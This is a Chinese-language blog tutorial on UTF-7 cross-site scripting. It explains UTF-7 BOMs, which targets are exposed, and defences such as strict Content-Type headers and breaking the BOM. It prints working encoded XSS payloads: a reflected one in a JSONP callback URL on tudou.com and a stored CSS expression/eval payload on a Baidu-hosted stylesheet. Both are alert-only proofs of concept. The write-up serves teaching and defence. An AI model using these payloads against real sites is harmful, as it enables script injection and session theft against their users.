熬了一天终于完成 师父(hiphoph4ck) 布置的小作业之一了= =~

<感谢 d4rkwind牛 和 5up3rh3i牛 的文章>

<感谢 d4rkwind牛师父(hiphoph4ck)5up3rh3i牛 的指导>

<写得不对和不严谨的地方欢迎大家指出>

 

----------------------------------------- UTF-7 XSS Paper -----------------------------------------

 

*****************

0x01. UTF-7是什么

************************************************************************************************************************

UTF-7 (7-位元 Unicode 转换格式(Unicode Transformation Format,简写成 UTF))是一种可变长度字符编码方式,

用以将 Unicode 字符以 ASCII 编码的字符串来呈现,可以应用在电子邮件传输之类的应用。
Wiki-URL: http://zh.wikipedia.org/zh-cn/UTF-7

 

<1> 可以通过设置 @charset=utf-7 设定为 utf-7编码

<2> 可以通过在正文开头设置 utf-7 bom 设定为 utf-7编码

 

utf-7 bom 目前知道的有4个

+/v8 | +/v9 | +/v+ | +/v/

************************************************************************************************************************

 

**********************

0x02. 可以针对哪些目标

************************************************************************************************************************

utf-7 相对于其他字符集有什么特点呢?

<1> 以 ASCII可显示字符 来编码的,这点在逃过过滤检测非常有用

<2> 有 bom 这个东东,其他一些字符集没有,大大地提高了利用的几率

 

utf-7 可以***的目标

<1> http response 设置不严格的,比如设置 Content-Type: text/html

<2> 字符集没有专门指定的,是模糊的

<3>  标签之前有机会设置字符集的

 

用 utf-7 来***的步骤

<1> 通过各种手段先夺取到utf-7字符集的优先权,使utf-7编码能被解码

常见手段有

    在正文开始设置bom标记

    在之前设置字符集

    遇到默认字符集(没专门指定字符集)的网页通过编码格式争夺

 

<2> 因为utf-7编码特点,可以逃过绝大部分过滤检测,再配合常规的XSS手法

最简单的就是可以把 '<' 和 '>' 编码掉,而绝大部分的网站也只是简简单单地对这两个符号进行转移或过滤

************************************************************************************************************************

 

************************

0x03. 怎样利用demo或说明

************************************************************************************************************************

Reflected XSS:

[Json utf-7 xss]

<格式> http://xx/..callback=[utf-7头][utf-7数据流]...

黑哥挖的一个tudou的json callback

http://www.tudou.com/my/channel/item.srv?icode=enQCgQKJTDs&callback=%2B%2Fv8

%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACg

AMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-%20xsadas

[utf-7头] -> %2B%2Fv8 (+/v8)

[utf-7数据流] -> %2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAP

AAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-

[utf-7数据解码后] -> 

 

Stored XSS:

[baidu自定义css utf-7 css]

<格式> css正文开始必须为[utf-7头],[utf-7数据流]可在[utf-7头]后正文的任意位置

黑哥blog里css的 utf-7 xss

http://hitn.bdimg.com/hi_heige/css/item/2792357ee092f60829388a60.css

css正文的内容:

--------------------------------------------------------------------

+/v8

#phx{FILTER: Alpha(Opacity=100, FinishOpacity=10, Style=2, StartX=20, StartY=40, FinishX=0, FinishY=0)gray(); WIDTH: 220px; 

HEIGHT: 32px}

...

body{background:#FFFFFF;font-

family:'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoACgAdwBpAG4AZABvAHcALgByAHIAcgA9AD0AMQAp

AD8AJwAnADoAZQB2AGEAbAAoACcAcgByAHIAPQAxADsAZQB2AGEAbAAoAGEAbABlAHIAdAAoAC8ASABhAHAAcAB5ACAATgBl

AHcAIABZAGUAYQByACEAIAB0AGgAeAAgAG0AYQByAGkAbwAuAC8AKQApADsAJwApACkAOwBmAG8AbgB0AC0AZgBhAG0Aa

QBsAHkAOgAnA-';}

...

--------------------------------------------------------------------

[utf-7头] -> %2B%2Fv8 (+/v8)

[utf-7数据流] -> +AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoACgAdwBpAG4AZABvAHcALgByAHIAcgA9AD

0AMQApAD8AJwAnADoAZQB2AGEAbAAoACcAcgByAHIAPQAxADsAZQB2AGEAbAAoAGEAbABlAHIAdAAoAC8ASABhAHAAcAB5A

CAATgBlAHcAIABZAGUAYQByACEAIAB0AGgAeAAgAG0AYQByAGkAbwAuAC8AKQApADsAJwApACkAOwBmAG8AbgB0AC0AZgB

hAG0AaQBsAHkAOgAnA-

[utf-7数据解码后] -> x';xss:expression((window.rrr==1)?'':eval('rrr=1;eval(alert(/Happy New Year! thx mario./));'));font-family:'

************************************************************************************************************************

 

********************

0x04. 有哪些修复方法

************************************************************************************************************************

要防御 utf-7 xss,只需要防止utf-7字符集被识别就行

utf-7 能使用主要通过两种方式

<1> 设置字符集为 utf-7

<2> 在文本开头设置 utf-7 bom

 

看看上文 utf-7 可以***的目标

<1> http response 设置不严格的,比如设置 Content-Type: text/html

<2> 字符集没有专门指定的

<3> 标签之前有机会设置字符集的

 

再反推防御

<1> http response 严格设置,比如 json 的一定要设置为 Content-Type: "json",不然会被 callback ***

<2> 字符集在开发阶段就指定好,避免被抢夺优先权。

如果不能先设置好字符集的(比如css)把正文开始插入一个 space 或 \n,让 utf-7 bom 失效

<3> 不要让 标签之前有机会设置字符集的

 

demo:

<1> 比如像存储类的数据,应该在做了过滤净化的基础上,防止出现 utf-7 bom

就像 baidu在自定义css 的第一个位置强制插入一个 space

为了不破坏用户所想要表达的数据之类,在第一个位置插入一个 space 或 \n 都可以

 

<2> 像json被***的格式,在正文处也可以这样处理

http://apps.hi.baidu.com/dashan/data/status?asyn=1&callback=[utf-7头][utf-7数据流]......

对于 json 的场景,还需要设置 header: Content-Type: "json" (格式貌似不对,表示那么个意思就是)

或者在正文的第一个位置插入一个 space 或 \n

************************************************************************************************************************

明天又要纠结 javasnoop 鸟= =~ 雅蠛蝶~

http://hi.baidu.com/hackercasper/blog/item/7b0a1b8188abe5c49023d97a.html